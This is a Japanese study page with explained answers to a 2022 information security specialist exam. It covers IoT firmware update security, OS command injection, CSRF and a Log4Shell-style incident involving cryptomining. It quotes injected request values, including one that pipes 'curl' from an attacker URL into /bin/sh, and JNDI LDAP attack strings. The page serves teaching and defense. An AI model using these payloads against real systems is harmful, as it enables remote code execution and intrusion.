‹ ぱすてく

情報処理安全確保支援士試験

令和4年度 秋期 午後Ⅰ(旧試験)

令和4年度 秋期に実施された情報処理安全確保支援士試験 午後Ⅰの全3問(記述式)の全設問に,運営者が独自に書いた解説を付けています。事例本文のどこが根拠になるかを示し,IPA の解答例・採点講評と並べています。

この試験について:情報処理安全確保支援士試験について

この年度を解いてみる

問1 IoT 製品の開発

IoT 製品の開発に関する次の記述を読んで,設問に答えよ。

J 社は,家電の製造・販売を手掛ける従業員 1,000 名の会社である。J 社では,自社の売れ筋製品であるロボット掃除機の新製品(以下,製品 R という)を開発し,販売することにした。製品 R の仕様を図1に示す。

・掃除機能に加え,無線 LAN への接続機能を搭載する。さらに,製品 R がもつ Web アプリケーションプログラム(以下,Web アプリ R という)経由で掃除エリアを設定する機能や掃除履歴を確認する機能を搭載する。・DHCP で IP アドレスの割当てが行われる。・スマートフォンにインストールした専用のアプリケーションプログラムは,同一セグメント内にある製品 R を探し,Web アプリ R にアクセスする。・製品 R に設定された IP アドレスを使い,PC の Web ブラウザから Web アプリ R にアクセスすることもできる。・製品 R に搭載するファームウェアには Linux ベースの OS を用いる。Web アプリ R はその OS の上で動作させる。・Web アプリ R は,次の機能を有する。1. ログイン機能:Web アプリ R を使うために,利用者 ID とパスワードによる認証を行う。2. 掃除エリア設定機能(省略)3. 掃除履歴確認機能(省略)4. ファームウェアアップデート機能:J 社のファームウェア提供サーバ(以下,W サーバという)からインターネット経由で,新しいバージョンのファームウェアを適用する。本機能では,W サーバに新しいバージョンのファームウェアが存在するかどうかを確認し,存在する場合にはダウンロードして適用する。本機能は,定期的に実行されるが,利用者から Web アプリ R 経由でファームウェアアップデートが要求されたときも実行される。本機能では W サーバの名前解決を行う。製品 R から W サーバに対するファームウェアアップデートの要求は HTTPS で行う。5. IP アドレス設定機能:製品 R に新しい IP アドレスを設定する。POST メソッドによる入力だけを受け付ける。
図1 製品 R の仕様(抜粋)

Web アプリ R を含むファームウェアの開発は,開発部の F さんと G 主任が担当することになった。

〔各機能のセキュリティ対策の検討〕

まず,F さんは,ファームウェアアップデート機能のセキュリティ対策を検討した。ファームウェアアップデート機能が偽のファームウェアをダウンロードしてしまうケースを考えた。そのケースには,DNS キャッシュサーバが権威 DNS サーバに W サーバの名前解決要求を行ったときに,攻撃者が偽装した DNS 応答を送信するという手法を使って攻撃を行うケースがある。この攻撃手法は a と呼ばれる。

この攻撃は,DNS キャッシュサーバが通信プロトコルに b を使って名前解決要求を送信し,かつ,攻撃者が送信した DNS 応答が,当該 DNS キャッシュサーバに到達できることに加えて,①幾つかの条件を満たした場合に成功する。攻撃が成功すると,DNS キャッシュサーバが攻撃者による応答を正当な DNS 応答として処理してしまい,偽の情報が保存される。当該 DNS キャッシュサーバを製品 R が利用して,この攻撃の影響を受けると,攻撃者のサーバから偽のファームウェアをダウンロードしてしまう。しかし,F さんは,②製品 R は,W サーバとの間の通信において HTTPS を適切に実装しているので,この攻撃の影響は受けないと考えた。F さんは,ファームウェアアップデート機能のセキュリティ対策がこれで十分か,G 主任に相談した。次は,この時の G 主任と F さんとの会話である。

続いて,F さんは,Web アプリ R の実装について開発部の他の部員にレビューを依頼した。その結果,脆弱性 A と脆弱性 B の二つの脆弱性が指摘された。

〔脆弱性 A〕

IP アドレス設定機能には,任意のコマンドを実行してしまう脆弱性がある。図2に示すように,利用者が IP アドレス設定画面で IP アドレス,サブネットマスク及びデフォルトゲートウェイの IP アドレスをそれぞれ入力してから確認ボタンをクリックし,IP アドレス設定確認画面で確定ボタンをクリックすると,setvalue に対して図3に示すリクエストが送信される。setvalue が図3中のパラメータを含むコマンド文字列をシェルに渡すと,図4の IP アドレス設定を行うコマンドなどが実行される。

左に IP アドレス設定画面,右に IP アドレス設定確認画面。IP アドレス設定画面は,IP アドレス 192.168.1.101,サブネットマスク 255.255.255.0,デフォルトゲートウェイ 192.168.1.1 の入力欄と「確認」ボタン。IP アドレス設定確認画面は,「次の値を設定します。」の下に IP アドレス 192.168.1.101,サブネットマスク 255.255.255.0,デフォルトゲートウェイ 192.168.1.1 と「確定」ボタン。
図2 IP アドレス設定に用いる画面
POST /setvalue HTTP/1.1/Host: 192.168.1.100 注1)/(中略)/ipaddress=192.168.1.101&netmask=255.255.255.0&defaultgw=192.168.1.1。注1) “192.168.1.100”は,製品 R の変更前の IP アドレスである。
図3 setvalue に送信されるリクエスト
ifconfig eth1 "192.168.1.101" netmask "255.255.255.0"
図4 IP アドレス設定を行うコマンド

リクエストに対する setvalue の処理には,d しまうという問題点があるので,setvalue に対して,図5に示す細工されたリクエストが送られると,製品 R は想定外のコマンドを実行してしまう。

POST /setvalue HTTP/1.1/Host: 192.168.1.100/(中略)/ipaddress=192.168.1.101&netmask=255.255.255.0";ping -c 1 192.168.1.10;"&defaultgw=192.168.1.1 注1) 注2)。注1) “192.168.1.10”は,製品 R から到達可能な IP アドレスである。注2) URL デコード済みである。
図5 細工されたリクエストの例

〔脆弱性 B〕

IP アドレス設定機能には,ログイン済みの利用者が攻撃者によって設置された罠サイトにアクセスし,利用者が意図せずに悪意のあるリクエストを Web アプリ R に送信させられた場合に,Web アプリ R がそのリクエストを受け付けて処理してしまう脆弱性がある。

〔脆弱性の修正〕

次は,二つの脆弱性の指摘を踏まえて修正を検討した時の,F さんと G 主任の会話である。

POST /setvalue HTTP/1.1/Host: 192.168.1.100/(中略)/ipaddress=192.168.1.101&netmask=255.255.255.0";curl http://△△△.com | /bin/sh -;"&defaultgw=192.168.1.1 注1) 注2)。注1) “http://△△△.com”は,攻撃者のファイルをダウンロードさせるための URL である。注2) URL デコード済みである。
図6 攻撃リクエスト

F さんは,脆弱性 A への対策として,利用者からリクエストのパラメータとして受け取った IP アドレス情報を,コマンドを用いず安全に IP アドレスを設定できるライブラリ関数を利用する方法で設定することにした。次に,脆弱性 B については,利用者からのリクエストのパラメータに,セッションにひも付けられ,かつ,e という特徴をもつトークンを付与し,Web アプリ R はそのトークンを検証するように修正した。

F さんと G 主任は,そのほかに必要なテストも行って,Web アプリ R を含むファームウェアの開発を完了した。

出題趣旨(IPA)

製品開発においては,設計・開発時に十分なセキュリティ対策を行うことが重要である。脆弱性単体では発生し得る被害が小さいように見えたとしても,他の脆弱性と組み合わせられることで,より大きな被害が発生することもある。本問では,IoT製品の開発を題材に,開発者として脆弱性単体だけでなく,複数の脆弱性の組合せによって生じるリスクを特定する能力,及びアプリケーションプログラムのセキュリティ対策を策定する能力を問う。

採点講評(問全体・IPA)

問1では,IoT製品の開発を題材に,ファームウェアの改ざん対策及びWebアプリケーションプログラムのセキュリティについて出題した。全体として正答率は平均的であった。

設問と解答例

設問1(1) 15字以内 解答欄1つ

本文中の a に入れる攻撃手法の名称を 15 字以内で答えよ。

〔a〕解答例

  • DNS キャッシュポイズニング
解説

本文の根拠

〔各機能のセキュリティ対策の検討〕

攻撃者が偽装した DNS 応答を送信するという手法を使って攻撃を行うケースがある。

本文は,DNS キャッシュサーバが権威 DNS サーバに W サーバの名前解決を問い合わせたときに,攻撃者が偽装した応答を先に送り込み,キャッシュサーバに偽の情報を保存させる手法を述べている。この手法の名称は DNS キャッシュポイズニング(DNS キャッシュ汚染)である。

本文の続きに,“攻撃が成功すると,DNS キャッシュサーバが攻撃者による応答を正当な DNS 応答として処理してしまい,偽の情報が保存される”とある。キャッシュ(記憶領域)に毒を盛るという名前のとおりの現象であり,その結果,製品 R は名前解決で攻撃者のサーバの IP アドレスを受け取ってしまう。

字数制限は 15 字以内。解答例は“DNS キャッシュポイズニング”で,“DNS キャッシュ汚染”のような言い換えでも趣旨は伝わるが,字数に収まる定訳で書くのが安全である。“DNS スプーフィング”など,より広い言葉にしないよう注意する。

設問1(2) 解答欄1つ

本文中の b に入れる適切な字句を,解答群の中から選び,記号で答えよ。解答群 ア ARP イ ICMP ウ TCP エ UDP

〔b〕解答例

  • エ
解説

本文の根拠

〔各機能のセキュリティ対策の検討〕

この攻撃は,DNS キャッシュサーバが通信プロトコルに b を使って名前解決要求を送信し,

通常の DNS の名前解決要求と応答は UDP(ポート 53)で行われる。UDP はコネクションをもたず,送信元アドレスの偽装が容易で,応答を受け取る側が確認できるのは,問合せの宛先・送信元ポート番号・問合せ内容・トランザクション ID などの照合結果だけである。このため,攻撃者は偽装した応答を正規の応答より先に送り込めば,キャッシュサーバに受け入れさせられる可能性がある(RFC 5452 が,偽造された応答への耐性を高める対策としてこの照合項目を整理している)。したがって b には UDP のエが入る。

ア ARP は同一セグメント内で IP アドレスから MAC アドレスを得るプロトコル,イ ICMP は到達確認や通信エラーの通知に使うプロトコルで,どちらも DNS の名前解決要求の通信には使わない。ウ TCP は,3ウェイハンドシェイクで確立したコネクション上のシーケンス番号の照合が必要になり,攻撃者が偽装した応答を割り込ませることが難しくなるので,この攻撃の前提にならない。

解答群から記号を選ぶ設問なので字数の詰め方はない。“DNS は UDP”と覚えたうえで,TCP を使うのはゾーン転送や,応答が大きい場合のフォールバックであることも区別しておく。

設問1(3) 30字以内

本文中の下線①について,攻撃者が送信した DNS 応答が攻撃として成功するために満たすべき条件のうちの一つを,30 字以内で答えよ。

解答例

  • 権威DNSサーバからの応答よりも早く到達する。
解説

本文の根拠

〔各機能のセキュリティ対策の検討〕

攻撃者が送信した DNS 応答が,当該 DNS キャッシュサーバに到達できることに加えて,①幾つかの条件を満たした場合に成功する。

〔各機能のセキュリティ対策の検討〕

DNS キャッシュサーバが権威 DNS サーバに W サーバの名前解決要求を行ったときに,

偽の応答が受け入れられるには,キャッシュサーバが出した問合せと“正しい応答”に見えることが必要である。そのため攻撃者の応答は,正規の権威 DNS サーバからの応答より先にキャッシュサーバに届かなければならない。後から届いた応答は,すでに待ち受け状態が終わっているので破棄される。解答例はこの条件を挙げている。

条件はほかにも,問合せのトランザクション ID(16 ビット)が一致すること,応答の宛先ポート番号が問合せの送信元ポート番号と一致すること,応答の送信元 IP アドレスが問合せの宛先(権威 DNS サーバ)と一致すること,問合せ内容(名前と型)が一致することなどがある(RFC 5452)。設問は“条件のうちの一つ”なので,これらのどれかを書けばよい。

字数制限は 30 字以内で,解答例は 23 字。“早く到達する”だけでは何より早いのかが分からないので,“権威 DNS サーバからの応答よりも”まで書く。ID やポート番号の一致を書く場合も,“問合せの”と照合の相手を明示して簡潔に書く。

設問1(4) 40字以内

本文中の下線②について,どのような実装か。40 字以内で答えよ。

解答例

  • サーバ証明書を検証し,通信相手がWサーバであることを確認する実装
解説

本文の根拠

〔各機能のセキュリティ対策の検討〕

②製品 R は,W サーバとの間の通信において HTTPS を適切に実装している

〔各機能のセキュリティ対策の検討〕

攻撃者のサーバから偽のファームウェアをダウンロードさせる攻撃は回避できます。

DNS キャッシュポイズニングが成功すると,製品 R は W サーバの名前から攻撃者のサーバの IP アドレスを受け取り,そこへ HTTPS で接続しようとする。ところが HTTPS(TLS)では,サーバが提示するサーバ証明書を,信頼する認証局の署名・有効期間・失効状況・記載された名前(HTTP over TLS の場合は接続先のホスト名,RFC 2818 の Server Identity)について検証して初めて,通信相手が本物のサーバだと確認できる。攻撃者は W サーバの正規の証明書と対応する秘密鍵を持たないので,検証に失敗して通信が中止される。G 主任の“攻撃者のサーバから偽のファームウェアをダウンロードさせる攻撃は回避できます”はこの意味である。

つまり“適切な実装”とは,製品 R が W サーバのサーバ証明書を検証し,通信相手が W サーバ(J 社のサーバ)であることを確認する実装である。暗号化しているだけでは,通信相手が攻撃者でも暗号化は成立してしまうので防御にならない。採点講評が“暗号化を行うという解答や,サーバ証明書の確認に触れていない解答が散見された”と指摘しているのはこの点である。

字数制限は 40 字以内で,解答例は 32 字。“サーバ証明書を検証し,通信相手が W サーバであることを確認する”の二つの要素(検証の対象と目的)を残す。

採点講評(IPA)

設問1(4)は,正答率が低かった。HTTPSを利用して攻撃者のサーバから偽のファームウェアをダウンロードさせない実装を問う問題であったが,暗号化を行うという解答や,サーバ証明書の確認に触れていない解答が散見された。安全な通信を行うためのTLSについて理解を深めてほしい。

設問1(5) 10字以内 解答欄1つ

本文中の c に入れる適切な字句を 10 字以内で答えよ。

〔c〕解答例

  • コードサイニング
解説

本文の根拠

〔各機能のセキュリティ対策の検討〕

対策として,ファームウェアに c を導入しましょう。

〔各機能のセキュリティ対策の検討〕

検証された c 証明書を使って,ダウンロードしたファームウェアの真正性を検証しましょう。

W サーバに侵入されてファームウェアそのものが置き換えられた場合は,通信路が正規でも中身が偽物なので,HTTPS では防げない。ファームウェア自体の真正性(J 社が作成したものであり,改ざんされていないこと)を検証する必要がある。これを実現するのがコードサイニングで,開発元が秘密鍵でファームウェアに電子署名を付け,製品 R がコードサイニング証明書(公開鍵証明書)で署名を検証する。

本文の“製品 R では c 証明書が J 社のものであることを検証します。その上で,検証された c 証明書を使って,ダウンロードしたファームウェアの真正性を検証”は,証明書の持ち主の確認と,その公開鍵による署名の検証という二段構えの流れそのものである。

字数制限は 10 字以内で,解答例の“コードサイニング”は 8 字。“コード署名”でも通じるが,用語としては“コードサイニング”を覚えておく。“サーバ証明書”と書かないよう,サーバ証明書は通信相手の確認,コードサイニング証明書は配布物の確認という違いを区別しておく。

設問2 35字以内 解答欄1つ

本文中の d に入れる適切な字句を 35 字以内で答えよ。

〔d〕解答例

  • シェルが実行するコマンドをパラメータで不正に指定できて
解説

本文の根拠

〔脆弱性 A〕

リクエストに対する setvalue の処理には,d しまうという問題点があるので,

〔脆弱性 A〕

setvalue が図3中のパラメータを含むコマンド文字列をシェルに渡すと,

図5

ping -c 1 192.168.1.10

図4のとおり,setvalue はリクエストのパラメータ(IP アドレスなど)を ifconfig のコマンド文字列に埋め込んでシェルに渡している。図5のリクエストでは netmask の値に二重引用符と“;”を含めており,コマンド文字列が netmask の引数の途中で閉じられ,後続の“ping -c 1 192.168.1.10”が別のコマンドとして実行される。シェルは“;”で区切られた複数のコマンドを順に実行するからである。

つまり,setvalue はパラメータの中身を検査もエスケープもせずにシェルへ渡すため,パラメータにシェルのメタ文字を混ぜると,攻撃者が意図したコマンドを不正に指定できてしまう。これが OS コマンドインジェクションである。F さんの対策“コマンドを用いず安全に IP アドレスを設定できるライブラリ関数を利用する”も,コマンド文字列をシェルに渡す経路をなくしている。

字数制限は 35 字以内で,解答例は 27 字。“シェルが実行するコマンドを”“パラメータで”“不正に指定できて”の三つ(何が・どこから・どうなるか)を,文末が“しまう”につながるように“〜できて”で結ぶ。

設問3(1) 50字以内

本文中の下線③について,罠サイトではどのような仕組みを使って利用者に脆弱性 B を悪用する攻撃リクエストを送信させることができるか。仕組みを 50 字以内で具体的に答えよ。

解答例

  • 攻撃リクエストをPOSTメソッドで送信させるスクリプトを含むページを表示させる仕組み
解説

本文の根拠

〔脆弱性 B〕

ログイン済みの利用者が攻撃者によって設置された罠サイトにアクセスし,利用者が意図せずに悪意のあるリクエストを Web アプリ R に送信させられた場合に,

図1

POST メソッドによる入力だけを受け付ける。

脆弱性 B はクロスサイトリクエストフォージェリ(CSRF)である。Web アプリ R はログイン済みの利用者のブラウザから届いたリクエストを,その利用者が自分の意思で送ったものかどうか確認せずに処理してしまう。攻撃者は罠サイトに細工したページを置き,利用者がそのページを開いたときにブラウザが Web アプリ R へリクエストを送るようにする。

ただし図1より,IP アドレス設定機能は POST メソッドによる入力だけを受け付ける。POST は,リンクや画像の読込みでは送れない。そこで罠サイトは,図6のリクエストと同じパラメータを入力値としてもつ form 要素を用意し,ページの読込み時に JavaScript で自動的に送信(submit)させる。利用者のブラウザはログイン済みの Cookie を付けて Web アプリ R の宛先(製品 R のアドレス)へ POST を送るので,攻撃が成立する。採点講評も“POST メソッドを用いたクロスサイトリクエストフォージェリ攻撃の仕組みとその攻撃を防ぐための対策について理解を深めてほしい”と述べている。

字数制限は 50 字以内で,解答例は 42 字。“攻撃リクエストを POST メソッドで送信させる”“スクリプトを含むページ”“表示させる”の三つを残す。

採点講評(IPA)

設問3は,(1),(2)ともに正答率が低かった。リスク評価及び脆弱性の対策立案において,攻撃を受ける具体的な脅威を想定することは重要である。POSTメソッドを用いたクロスサイトリクエストフォージェリ攻撃の仕組みとその攻撃を防ぐための対策について理解を深めてほしい。

設問3(2) 15字以内 解答欄1つ

本文中の e に入れる,トークンがもつべき特徴を 15 字以内で答えよ。

〔e〕解答例

  • 推測困難である
解説

本文の根拠

〔脆弱性の修正〕

セッションにひも付けられ,かつ,e という特徴をもつトークンを付与し,

CSRF 対策のトークン(CSRF トークン)は,Web アプリ R が正規の画面を表示するときに利用者ごとのセッションにひも付けて発行し,リクエストのパラメータとして送り返させて検証するものである。罠サイトの作成者は,トークンの値を知ることができないので,正しいトークンを含むリクエストを作れない。ここで重要なのは,攻撃者がトークンの値を推測できないことである。連番や現在時刻のように規則性がある値だと,攻撃者に当てられてしまう。

そこで,e には“推測困難である”が入る。実装としては,暗号論的に安全な乱数生成器を用いた十分な長さの値にする。OWASP の CSRF Prevention Cheat Sheet も,トークンに必要な性質として,利用者のセッションごとに固有で,秘密にされ,予測困難であることを挙げている。

字数制限は 15 字以内で,解答例は 7 字。“推測困難である”“予測できない”のどちらでもよい。“暗号化されている”や“長い”といった別の性質を書かない。

採点講評(IPA)

設問3は,(1),(2)ともに正答率が低かった。リスク評価及び脆弱性の対策立案において,攻撃を受ける具体的な脅威を想定することは重要である。POSTメソッドを用いたクロスサイトリクエストフォージェリ攻撃の仕組みとその攻撃を防ぐための対策について理解を深めてほしい。

設問4 解答欄2つ

脆弱性 A 及び脆弱性 B が該当する CWE を,それぞれ解答群の中から選び,記号で答えよ。解答群 ア CWE-78 OS コマンドインジェクション イ CWE-79 クロスサイトスクリプティング ウ CWE-89 SQL インジェクション エ CWE-94 コードインジェクション オ CWE-352 クロスサイトリクエストフォージェリ カ CWE-918 サーバサイドリクエストフォージェリ

〔脆弱性A〕解答例

  • ア

〔脆弱性B〕解答例

  • オ
解説

本文の根拠

〔脆弱性 A〕

IP アドレス設定機能には,任意のコマンドを実行してしまう脆弱性がある。

〔脆弱性 B〕

利用者が意図せずに悪意のあるリクエストを Web アプリ R に送信させられた場合に,

脆弱性 A は,設問2のとおり,リクエストのパラメータがシェルに渡るコマンド文字列に混入し,攻撃者が指定した OS のコマンドが実行されるものなので,CWE-78(OS コマンドインジェクション)のアである。脆弱性 B は,設問3のとおり,利用者のブラウザに本人の意図しないリクエストを送らせるもので,CWE-352(クロスサイトリクエストフォージェリ)のオである。

誤りの選択肢は,イ CWE-79 がクロスサイトスクリプティング(Web ページに攻撃者のスクリプトを埋め込み,利用者のブラウザで実行させる),ウ CWE-89 が SQL インジェクション,エ CWE-94 がコードインジェクション(プログラムコードそのものの生成・実行を許すもの,OS のコマンドに限らない),カ CWE-918 がサーバサイドリクエストフォージェリ(サーバに別のサーバへのリクエストを送らせる)である。

解答群から記号を選ぶ設問なので字数の詰め方はない。“OS のコマンド”なら CWE-78,“利用者に意図しないリクエストを送らせる”なら CWE-352 と,攻撃の動作で区別する。CWE-94 は“コード”なので,シェルのコマンドを直接指定する図5の例には CWE-78 のほうが合う。

出典:令和4年度 秋期 情報処理安全確保支援士試験 午後Ⅰ 問1(表記を一部改変)

問2 脆弱性に起因するセキュリティインシデントへの対応

脆弱性に起因するセキュリティインシデントへの対応に関する次の記述を読んで,設問に答えよ。

U 社は,従業員 200 名の食品製造業である。情報システム部がシステムを管理している。U 社のネットワーク構成を図1に,サーバの機能概要を表1に示す。

インターネットが U 社内の FW に接続している。FW には PC-LAN と DMZ が接続している。PC-LAN には L2SW と複数の PC がある。DMZ には L2SW があり,その配下に予約サーバ,プロキシサーバ,会員サーバがある。凡例 FW:ファイアウォール,L2SW:レイヤー2スイッチ。
図1 U 社のネットワーク構成(抜粋)
サーバ名と機能概要の2列の表。プロキシサーバ:・インターネットへの HTTP 通信及び HTTPS 通信を中継するためのフォワードプロキシ 注1)である。・URL フィルタリングソフトが組み込まれており,URL フィルタリングルールを用いて,URL ごとにアクセスを許可又は拒否することができる。アクセス元の IP アドレス範囲ごとにそれぞれ別の URL フィルタリングルールを定義することができる。・一つの URL フィルタリングルールは次の二つのリストから成り,上から順に適用される。-許可リスト -拒否リスト ・許可リストに“全て”を指定すると,全ての URL への通信を許可する。拒否リストに“全て”を指定すると,許可リストに指定した URL 以外の URL への通信が拒否される。何も指定しない許可リストは,スキップされる。拒否リストも同様である。・どのリストにも該当しない URL は,アクセスが許可される。予約サーバ:・U 社の工場見学のオンライン予約を見学希望者が行うためのサーバである。Java を利用したオンライン予約システムのパッケージである B 社の T ソフトを使っている。・見学希望者は,HTTPS でアクセスし,空いている日時を選択して見学希望者の情報を入力することによって予約ができる。工場見学の空き状況は U 社の SNS アカウントを利用して,クラウドサービス上の複数の SNS 投稿用のサーバに対して HTTPS で定期的に投稿される。会員サーバ:・U 社の顧客向けに会員サイトを提供している。Java を利用している。会員は HTTPS でアクセスする。会員サイトの利用には,利用者 ID とパスワードによるログインが必要である。注1) TLS の復号及び再暗号化ができ,HTTPS 通信内容を参照することができる。
表1 サーバの機能概要(抜粋)

FW のフィルタリングルールを表2に示す。

項番,送信元,宛先,サービス,動作の5列の表。項番1:インターネット,予約サーバ,会員サーバ,HTTPS,許可。項番2:予約サーバ,インターネット,全て,許可。項番3:PC-LAN,プロキシサーバ,代替 HTTP 注1),許可。項番4:プロキシサーバ,インターネット,HTTP,HTTPS,許可。項番5:プロキシサーバ,インターネット,DNS,許可。(項番6〜11 は省略)項番12:全て,全て,全て,拒否。注記1 FW は,ステートフルパケットインスペクション型である。注記2 項番の小さいルールから順に,最初に一致したルールが適用される。注記3 項番6〜11 には DMZ 内のサーバとインターネットとの間,及び PC-LAN とインターネットとの間の通信に関するルールはない。注1) 代替 HTTP のポート番号は,8080 である。
表2 FW のフィルタリングルール

〔セキュリティインシデントの報告と調査〕

ある日,予約サーバで CPU 使用率が高い状態が継続するという問題が発生した。情報システム部の予約サーバの担当者が調査したところ,普段予約サーバでは,BSoftMain と SBMain という T ソフトのプロセスが稼働しているが,この日は run という名称の見慣れないプロセス(以下,run プロセスという)も稼働していた。サーバ内で一定間隔で取得しているプロセスの一覧から,run プロセスが 13:07:00 から CPU 使用率を上げていたことが判明した。

この結果を受け,情報システム部の D 主任はセキュリティインシデントの疑いがあると判断し,上司に報告の上,予約サーバの調査を開始した。

13:07:00 における予約サーバのプロセス一覧とコネクション一覧を表3と表4にそれぞれ示す。

プロセス ID,親プロセス ID,開始時刻,コマンド,CPU 使用率の5列の表。プロセス ID 100,親プロセス ID(省略),開始時刻 10:11:15,コマンド java BSoftMain,CPU 使用率(省略)。プロセス ID 110,親プロセス ID 100,開始時刻 13:00:00,コマンド java SBMain,CPU 使用率(省略)。プロセス ID 200,親プロセス ID 100,開始時刻 13:06:30,コマンド run,CPU 使用率(省略)。
表3 予約サーバのプロセス一覧(抜粋)
送信元,宛先,サービス,プロセス ID の4列の表。予約サーバ,a1.b1.c1.d1,HTTPS,110。予約サーバ,a2.b2.c2.d2,HTTPS,110。予約サーバ,a3.b3.c3.d3,HTTP,200。注記 a1.b1.c1.d1〜a3.b3.c3.d3 はグローバル IP アドレスを表す。以下,aX.bX.cX.dX(X には数字が入る)はグローバル IP アドレスを表す。
表4 予約サーバのコネクション一覧(抜粋)

表3と表4から run プロセスの外部への通信の有無を確認したところ,IP アドレスが a のホストに対して通信を行っていたことが確認できた。また,a を確認したところ,海外の IP アドレスであり,予約サーバの通信先として想定されているものではなかった。D 主任は上司に報告し,予約サーバをネットワークから隔離した。

〔予約サーバの調査〕

D 主任は,①表3の内容から,run プロセスが稼働している原因の追究には T ソフトを調べる必要があると判断した。B 社に状況を説明し,不具合やセキュリティ上の問題がないか確認したところ,U 社が利用しているバージョンには,脆弱性があることが分かった。

その脆弱性とは,T ソフトが利用しているライブラリ X というオープンソースのライブラリに存在する,リモートから任意のコードが実行可能となる脆弱性(以下,脆弱性 Y という)である。ライブラリ X と脆弱性 Y の説明を図2に示す。

[ライブラリ X の概要] ライブラリ X は Java のログ出力ライブラリである。ライブラリ X には外部オブジェクトを読み込む機能があり,標準で有効になっている。[脆弱性 Y の概要] ライブラリ X を使用したログ出力処理の対象となる文字列中に特定の攻撃文字列が含まれる場合,攻撃者の用意した Java クラスが実行される可能性がある。[脆弱性 Y において LDAP を利用した攻撃の例] 1. 攻撃者が,攻撃文字列“${jndi:ldap://a4.b4.c4.d4/Exploit}”を含む HTTP リクエストを送る。攻撃対象の Web サーバにおいて,ライブラリ X がログ出力処理をする文字列中に当該攻撃文字列が含まれると,ライブラリ X は IP アドレスが a4.b4.c4.d4 のサーバに対し,LDAP で“Exploit”というクエリを送る。2. 攻撃者の用意した IP アドレスが a4.b4.c4.d4 の LDAP サーバは“Exploit”というクエリを受け,“http://a5.b5.c5.d5/JClass”を取得させるための情報を返す。(図2は次ページに続く)
図2 ライブラリ X と脆弱性 Y の説明
3. ライブラリ X は URL に従い,攻撃者の用意した Web サーバである a5.b5.c5.d5 のサーバにアクセスし,レスポンスに含まれる Java クラスである“JClass”を実行する。4. JClass は,攻撃者の用意した URL である“http://a6.b6.c6.d6/malwarex”にリクエストを送り,レスポンスに含まれるファイルを“malwarex”というファイル名で保存し,実行する。注記 “Exploit”,“JClass”,“malwarex”といった文字列や IP アドレスは攻撃ごとに異なる。
図2 ライブラリ X と脆弱性 Y の説明(続き)

run プロセス起動前後の 13:00:00 から 13:16:00 までの,予約サーバのアクセスログを調査した結果,表5に示す,脆弱性 Y を悪用したと考えられるアクセスログを発見した。

時刻,送信元,リクエスト,ユーザエージェントの4列の表。時刻 13:04:32,送信元 a7.b7.c7.d7,リクエスト GET /index.html,ユーザエージェント ${jndi:ldap://a8.b8.c8.d8/JExp}。
表5 脆弱性 Y を悪用したと考えられるアクセスログ

D 主任は run プロセスがどのような経緯で起動したかを調査するために,FW の通信ログを確認した。run プロセス起動前後の 13:00:00 から 13:16:00 までの FW の通信ログのうち,予約サーバを送信元とするものを表6に示す。

時刻,送信元,宛先,サービス,処理結果の5列の表。13:02:15,予約サーバ,a1.b1.c1.d1,HTTPS,許可。13:05:50,予約サーバ,a8.b8.c8.d8,LDAP,許可。13:05:53,予約サーバ,a8.b8.c8.d8,HTTP,許可。13:06:05,予約サーバ,a9.b9.c9.d9,HTTP,許可。13:08:15,予約サーバ,a2.b2.c2.d2,HTTPS,許可。13:12:15,予約サーバ,a1.b1.c1.d1,HTTPS,許可。13:15:35,予約サーバ,a3.b3.c3.d3,HTTP,許可。
表6 予約サーバを送信元とする FW の通信ログ

D 主任はここまでの調査で分かった情報から,予約サーバへの攻撃の流れを表7のとおりまとめた。

番号,時刻,内容の3列の表。番号1:時刻 [ b ],内容 攻撃者が予約サーバに対して通信を行った。番号2:時刻 [ c ],内容 予約サーバが,IP アドレスが [ d ] のホストの [ e ] サービスに [ f ] というクエリを送った。番号3:時刻(省略),内容 予約サーバが,2の通信の応答に含まれる URL に対して HTTP 通信を行った。番号4:時刻(省略),内容 予約サーバで,3の通信のレスポンスに含まれる Java クラスが実行され,攻撃者の用意した URL に対して HTTP 通信が行われた。番号5:時刻 13:06:30,内容 予約サーバで,4の通信のレスポンスに含まれるファイルが実行され,run プロセスが起動した。番号6:時刻(省略),内容 予約サーバで,run プロセスが攻撃者のサーバに通信を行った。
表7 予約サーバへの攻撃の流れ

U 社がインシデント対応支援の契約をしているセキュリティベンダーの情報処理安全確保支援士(登録セキスペ)である E 氏の協力を得て run プロセスについての調査を進めた結果,暗号資産採掘ソフトウェアであることが分かった。予約サーバにおいて,予約情報への不正なアクセスは確認できなかった。

〔会員サーバの調査〕

次に,会員サーバにおいて,ライブラリ X の利用の有無及び同様の攻撃の有無を確認したところ,会員サーバにおいてもライブラリ X でログ出力処理を行っていること,及び会員サーバにも予約サーバと同様の攻撃が行われたことを示すアクセスログが記録されていることが分かった。しかし,調査の結果,攻撃は失敗していたことが判明した。D 主任は,攻撃が失敗したのは,攻撃者が会員サーバにログインするための利用者 ID とパスワードを知らなかったからだと考えた。しかし,E 氏は,②脆弱性 Y は認証前のアクセスでも悪用できるので,そうではないと指摘した。予約サーバとは違って攻撃が失敗したのは,③別の理由だと D 主任に説明した。

〔脆弱性への対応〕

D 主任は上司に調査結果を報告した。その後,予約サーバは,OS 及び必要なソフトウェアをクリーンインストールし,バックアップデータから復旧を行った。さらに,予約サーバと会員サーバについて,脆弱性 Y に対する脆弱性修正プログラムを適用した。

〔再発防止策の検討〕

続けて,D 主任は外部への不正通信が発生したことへの再発防止策を,E 氏とともに検討した。再発防止策として,予約サーバからインターネットへの通信に関する設定を変更することにした。必要な設定変更内容は次のとおりである。

アクセス元 IP アドレス,許可リスト,拒否リストの3列の表。1行:アクセス元 IP アドレスは [ g ] の IP アドレス,許可リストは [ h ],拒否リストは [ i ]。
表8 URL フィルタリングルールについての設定

検討した再発防止策は採用され,今回の対応を完了した。

出題趣旨(IPA)

日々発見される新たな脆弱性に対し,運用者が脆弱性の影響を確認し,必要な対策を行うことは重要である。しかし,全ての脆弱性が攻撃者より早く発見され,運用者が必要な対策を行えるとは限らないので,攻撃者が未修正の脆弱性を悪用するリスクについても考慮しておく必要がある。本問では,ソフトウェアの脆弱性に起因するセキュリティインシデントへの対応を題材に,攻撃者の痕跡を調査し,影響を把握する能力及びセキュリティ侵害を前提とした適切なアクセス制御を設計する能力を問う。

採点講評(問全体・IPA)

問2では,ソフトウェアの脆弱性に起因するセキュリティ侵害を題材に,攻撃の痕跡の調査から再発防止策の検討までのセキュリティインシデント対応について出題した。全体として正答率は平均的であった。

設問と解答例

設問1 解答欄1つ

本文中の a に入れる適切な IP アドレスを,表4中の宛先から選び,答えよ。

〔a〕解答例

  • a3.b3.c3.d3
解説

本文の根拠

表3

プロセス ID 200,親プロセス ID 100,開始時刻 13:06:30,コマンド run,CPU 使用率(省略)。
